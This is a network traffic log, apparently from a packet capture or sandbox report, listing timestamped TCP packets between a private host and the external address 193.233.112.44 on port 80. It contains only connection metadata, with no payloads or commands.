Oct 3, 2024 23:17:10.776726007 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.776730061 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.776747942 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.776751041 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.776758909 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.776765108 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.776779890 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.776782990 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.776798964 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.776799917 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.776818991 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.776829958 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.776865959 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.776889086 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.776906967 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.776917934 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.776931047 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.776948929 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.816042900 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.816063881 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.816082954 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.816206932 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.816222906 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.816225052 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.816241026 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.816257954 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.816267014 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.816287041 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.816309929 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.816436052 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.816468954 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.816484928 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.816484928 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.816503048 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.816523075 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.816684961 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.816701889 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.816718102 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.816728115 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.816735983 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.816740036 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.816755056 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.816760063 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.816771984 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.816791058 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.816936016 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.816982031 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.817049026 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.817065954 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.817081928 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.817092896 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.817100048 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.817105055 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.817117929 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.817122936 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.817132950 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.817151070 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.832638025 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.832695007 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.832710028 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.832726002 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.832742929 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.832746983 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.832765102 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.832767963 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.832782030 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.832786083 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.832801104 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.832804918 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.832819939 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.832822084 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.832839012 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.832839966 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.832851887 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.832876921 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.833018064 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.833034039 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.833049059 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.833058119 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.833070040 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.833086014 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.833087921 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.833103895 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.833120108 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.833127022 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.833137989 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.833158016 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.833340883 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.833388090 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.833422899 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.833441019 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.833456039 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.833467007 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.833472013 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.833479881 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.833488941 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.833498001 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.833507061 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.833512068 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.833532095 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.833543062 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.833818913 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.833834887 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.833851099 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.833865881 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.833865881 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.833872080 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.833884001 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.833890915 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.833899021 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.833910942 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.833920002 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.833936930 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.834146023 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.834162951 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.834177017 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.834196091 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.834207058 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.834216118 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.834255934 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.834271908 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.834286928 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.834297895 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.834306002 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.834310055 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.834322929 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.834332943 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.834338903 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.834341049 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.834357977 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.834362030 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.834369898 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.834373951 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.834389925 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.834389925 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.834407091 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.834415913 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.834425926 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.834441900 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.835007906 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.835025072 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.835040092 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.835057974 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.835069895 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.835076094 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.836734056 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.836791039 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.836795092 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.836811066 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.836833954 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.836844921 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.836946011 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.836961985 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.836977959 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.836992025 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.836994886 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.836999893 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.837018967 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.837029934 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.837203026 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.837219000 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.837235928 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.837250948 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.837251902 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.837258101 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.837276936 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.837286949 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.837491035 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.837507963 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.837522984 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.837532997 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.837537050 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.837549925 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.837553978 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.837557077 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.837570906 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.837578058 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.837588072 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.837589979 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.837606907 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.837614059 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.837620974 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.837624073 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.837639093 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.837641954 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.837660074 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.837671995 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.838042974 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.838088989 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.851948023 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.851970911 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.851988077 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.852001905 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.852018118 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.852024078 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.852271080 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.852303028 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.852318048 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.852322102 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.852338076 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.852338076 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.852360010 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.852365017 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.852374077 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.852381945 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.852399111 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.852401972 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.852416039 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.852416992 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.852437019 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.852454901 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.852516890 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.852533102 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.852549076 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.852560043 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.852571011 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.852582932 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.852684975 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.852725983 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.864734888 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.864762068 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.864777088 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.864792109 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.864804983 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.864811897 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.864823103 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.864846945 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.864886045 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.864901066 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.864928007 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.864938974 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.864955902 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.864998102 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.865032911 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.865048885 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.865075111 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.865082979 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.865179062 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.865195036 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.865211010 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.865226984 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.865228891 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.865228891 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.865242004 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.865262032 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.865339994 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.865356922 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.865382910 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.865389109 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.906891108 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.906908035 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.906924009 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.906943083 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.906959057 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.907042027 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.907058954 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.907094955 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.907108068 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.907183886 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.907201052 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.907249928 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.907731056 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.907747030 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.907762051 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.907774925 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.907778025 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.907799959 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.907812119 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.907819986 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.907849073 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.907886028 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.907910109 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.907922983 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.907946110 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.908112049 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.908164024 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.908268929 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.908284903 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.908298969 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.908314943 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.908314943 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.908324003 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.908341885 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.908354998 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.908421993 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.908438921 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.908452988 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.908476114 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.908499002 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.908539057 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.908554077 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.908581972 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.908593893 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.923340082 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.923355103 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.923393011 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.923412085 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.923412085 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.923428059 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.923468113 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.923481941 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.923497915 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.923504114 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.923515081 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.923523903 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.923531055 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.923557043 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.923683882 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.923726082 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.923762083 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.923778057 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.923785925 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.923808098 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.923990965 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.924006939 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.924020052 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.924030066 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.924031973 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.924046993 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.924055099 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.924062014 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.924062014 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.924081087 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.924083948 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.924096107 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.924115896 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.924372911 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.924388885 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.924410105 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.924412012 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.924420118 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.924433947 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.924453974 CEST	49710	80	192.168.2.5	193.233.112.44
